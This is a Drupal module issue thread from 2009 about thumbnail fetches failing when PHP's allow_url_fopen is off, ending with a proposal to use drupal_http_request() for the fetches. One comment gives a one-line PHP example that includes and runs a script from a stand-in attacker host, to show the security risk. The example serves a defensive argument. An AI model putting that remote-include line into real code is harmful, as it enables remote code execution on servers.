file_get_contents issues with thumbnail fetch

likewhoa - October 15, 2009 - 18:07
Project:Embedded Media Field
Version:6.x-1.x-dev
Component:Embedded Video Field
Category:bug report
Priority:normal
Assigned:aaron
Status:active
Description

Using latest -dev modules and latest drupal 6.14 I am getting this:

    * warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in modules/emfield/contrib/emthumb/emthumb.module on line 543.
    * warning: file_get_contents(http://img.youtube.com/vi/dzKMjBPQqH0/0.jpg) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in modules/emfield/contrib/emthumb/emthumb.module on line 543.
    * warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in modules/emfield/contrib/emthumb/emthumb.module on line 543.
    * warning: file_get_contents(http://img.youtube.com/vi/dzKMjBPQqH0/0.jpg) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in modules/emfield/contrib/emthumb/emthumb.module on line 543.

after submitting an embedded video from youtube. I will try others and report back.

#1

Robert Heinze - October 26, 2009 - 14:49

Same here, what is the solution?

#2

aaron - October 28, 2009 - 17:43
Status:active» postponed (maintainer needs more info)

this is unfortunate. it looks like a server php configuration problem. can one of you having the problem post your php info here, maybe i can compare it to mine and find the problem?

thanks,
aaron

#3

kompatv - October 29, 2009 - 02:03

subscribing

#4

likewhoa - October 29, 2009 - 05:44

if you need the whole phpinfo() output you'll have to pm me so i can give you a link to it, but here is what php was compiled with.

'./configure' '--prefix=/usr/lib64/php5' '--host=x86_64-pc-linux-gnu' '--mandir=/usr/lib64/php5/man' '--infodir=/usr/lib64/php5/info' '--sysconfdir=/etc' '--cache-file=./config.cache' '--with-libdir=lib64' '--with-pcre-regex=/usr' '--disable-cli' '--enable-cgi' '--enable-fastcgi' '--enable-fpm' '--with-fpm-conf=/etc/php/cgi-php5/php-fpm.conf' '--disable-discard-path' '--disable-force-cgi-redirect' '--with-config-file-path=/etc/php/cgi-php5' '--with-config-file-scan-dir=/etc/php/cgi-php5/ext-active' '--without-pear' '--enable-bcmath' '--with-bz2' '--enable-calendar' '--with-curl' '--without-curlwrappers' '--disable-dbase' '--enable-exif' '--without-fbsql' '--without-fdftk' '--enable-ftp' '--with-gettext' '--without-gmp' '--disable-hash' '--disable-ipv6' '--disable-json' '--without-kerberos' '--enable-mbstring' '--with-mcrypt' '--with-mhash' '--without-msql' '--without-mssql' '--with-ncurses' '--with-openssl' '--with-openssl-dir=/usr' '--disable-pcntl' '--disable-pdo' '--without-pgsql' '--without-pspell' '--without-recode' '--disable-simplexml' '--disable-shmop' '--without-snmp' '--enable-soap' '--disable-sockets' '--without-sybase' '--without-sybase-ct' '--disable-sysvmsg' '--disable-sysvsem' '--disable-sysvshm' '--without-tidy' '--disable-tokenizer' '--disable-wddx' '--disable-xmlwriter' '--without-xmlrpc' '--without-xsl' '--disable-zip' '--with-zlib' '--disable-debug' '--enable-dba' '--without-cdb' '--without-db4' '--disable-flatfile' '--with-gdbm' '--disable-inifile' '--without-qdbm' '--with-freetype-dir=/usr' '--with-t1lib=/usr' '--disable-gd-jis-conv' '--with-jpeg-dir=/usr' '--with-png-dir=/usr' '--without-xpm-dir' '--with-gd' '--with-imap' '--with-imap-ssl' '--with-mysql=/usr' '--with-mysql-sock=/var/run/mysqld/mysqld.sock' '--with-mysqli=/usr/bin/mysql_config' '--with-readline' '--without-libedit' '--without-mm' '--without-sqlite'

#5

likewhoa - November 3, 2009 - 04:56
Status:postponed (maintainer needs more info)» active

#6

aaron - November 4, 2009 - 22:12
Status:active» postponed (maintainer needs more info)

I suspect the server is either running PHP in safe mode, or with allow_url_fopen = OFF. Can you please check that? See also #436146: warning: fopen(/tmp/) [0function.fopen0]: failed to open stream: Is a directory in .../feedapi_imagegrabber.module on line 526 and #210191: Problems with file_get_contents().

#7

likewhoa - November 5, 2009 - 17:27
Status:postponed (maintainer needs more info)» active

both of those are off, I rather not turn on safe mode but allow_url_fopen would be no problem, if you require safe mode to be on then I would suggest you find a way for it to work with it off. Thanks.

#8

aaron - November 5, 2009 - 17:30
Status:active» fixed

no, don't run it with safe mode on. causes lots of issues w/ drupal in general.

you do need allow_url_fopen ON for embedded thumbnail media.

#9

aaron - November 5, 2009 - 17:30
Assigned to:Anonymous» aaron
Status:fixed» needs work

i suppose we could discover that in the module requirements?

#10

likewhoa - November 7, 2009 - 03:18

safe mode has issues with php in general thus why it's recommended to be off for most. Thanks for the help and I would just add the allow_url_fopen requirement in README.txt

#11

aaron - November 8, 2009 - 13:26
Status:needs work» fixed

Thanks, added that to the readme.

#12

System Message - November 22, 2009 - 13:30
Status:fixed» closed

Automatically closed -- issue fixed for 2 weeks with no activity.

#13

flaviovs - November 23, 2009 - 01:57

Sorry for reopening this issue, but I don't think that advising people to turn allow_url_fopen on is the correct way to handle it.

Notice that allow_url_fopen is a PHP mistake from a security point of view. Running with allow_url_fopen = on allows thing like:

<?php
include('http://evil.example.com/exploit.php');
?>

The code above will load and run the remote PHP file on the server if allow_url_fopen is on and allow_url_include is also on (which sadly may be the case in many servers where PHP were updated but new directives like this one were not included on php.ini).

That's why many hosting companies run with allow_url_fopen = off.

But even if you're willing to run with allow_url_fopen = on, you may not be allowed to do so by your hosting company. In such cases, the only choice would be to switch host, which may be a PITA in some cases.

So what's the solution then?

For general PHP programming, you may use the curl extension or even roll your own HTTP request procedure using the socket interface.

But hey, we all use Drupal here so we already have drupal_http_request() which do the dirty job of making the TCP connection, doing the HTTP talk, handling errors etc.:

drupal_http_request():

Perform an HTTP request.

This is a flexible and powerful HTTP client implementation. Correctly handles GET, POST, PUT or any other HTTP requests. Handles redirects.

So IMHO the correct way to fix this problem is to switch all remote file_get_contents() with drupal_http_request().

#14

aaron - November 26, 2009 - 15:19
Status:closed» active

Thanks @flaviovs, I'll roll this into the next release.

 
 

Drupal is a registered trademark of Dries Buytaert.